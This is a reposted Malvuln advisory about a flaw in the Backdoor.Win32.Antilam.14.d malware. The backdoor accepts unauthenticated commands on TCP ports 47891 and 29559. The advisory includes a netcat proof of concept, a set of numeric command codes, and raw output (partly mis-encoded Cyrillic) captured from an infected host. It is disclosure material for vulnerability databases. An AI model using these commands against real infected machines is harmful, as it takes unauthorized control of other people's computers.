Share
## https://sploitus.com/exploit?id=PACKETSTORM:162600
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/a53351e8fa0cb4f7db3d0250387a0e4f.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Antilam.14.d  
Vulnerability: Unauthenticated Remote Command Execution   
Description: The malware listens on TCP ports 47891, 29559. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Commands are typically three digits e.g. 001 - 116 and perform various actions on the infected host. For instance to logout the remote system use 033.  
Type: PE32  
MD5: a53351e8fa0cb4f7db3d0250387a0e4f  
Vuln ID: MVID-2021-0214  
Dropped files: scandisk.exe  
Disclosure: 05/15/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 47891  
  
001 + Enter (Gets system info)  
  
001╧α∩Ωα Windows: C:\WINDOWS  
╧α∩Ωα System:  
╧α∩Ωα Temp: C:\Users\Victim\AppData\Local\Temp\  
┬σ≡±Φ Windows: Windows NT 6.2 9200  
╠Φφ≤≥ Γ Windows: 774  
╚∞ Ωε∞∩α: DESKTOP-2B1KWJP  
╚∞ ■τσ≡α: Victim  
▀τ√Ω Windows: English (United States)  
╨ατ≡σ°σφΦσ: 1593x810  
NumLock: Off  
CapsLock: Off  
ScrollLock: Off  
╧≡εΦπ≡√ΓαφΦσ τΓ≤Ωα: ─α  
╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 3,498,405,888  
╒ε±≥: DESKTOP-2B1KWJP  
  
000Taskbar ±Ω≡√δ± ...005  
000Monitor Γ√Ωδ■≈σφ...008  
000Ctrl+Alt+Del Γ√Ωδ■≈σφ...010  
  
000CapsLock Γ√Ωδ■≈σφ...011  
000NumLock Γ√Ωδ■≈σφ...012  
000CD-ROM ταΩ≡√≥...015  
  
01511:24 PM|5/14/2021018  
000Mouse was been unlocked...019  
020500022  
9110916023tor: Administrator Command Prompt Promptrator)  
000╬Ωφε ταΩ≡√≥ε...024  
024Bσ≡±Φ ±σ≡Γσ≡α - 1.4b029  
029Backdoor.Win32.Antilam.14.d.a53351e8fa0cb4f7db3d0250387a0e4f031  
112C:\Users\Victim\AppData\Local\Temp\scrsm.src115  
000Web browser ε≥Ω≡√≥...120  
000Web browser ε≥Ω≡√≥...0130  
000╬Ωφε ±Γσ≡φ≤≥ε...022  
9110916022 Hacker [DESKTOP-2B1KWJP\Victim]+ (Administrator)  
  
Other misc commands:  
115 starts packman animation that eats the victims screen  
116 stops packman animation  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).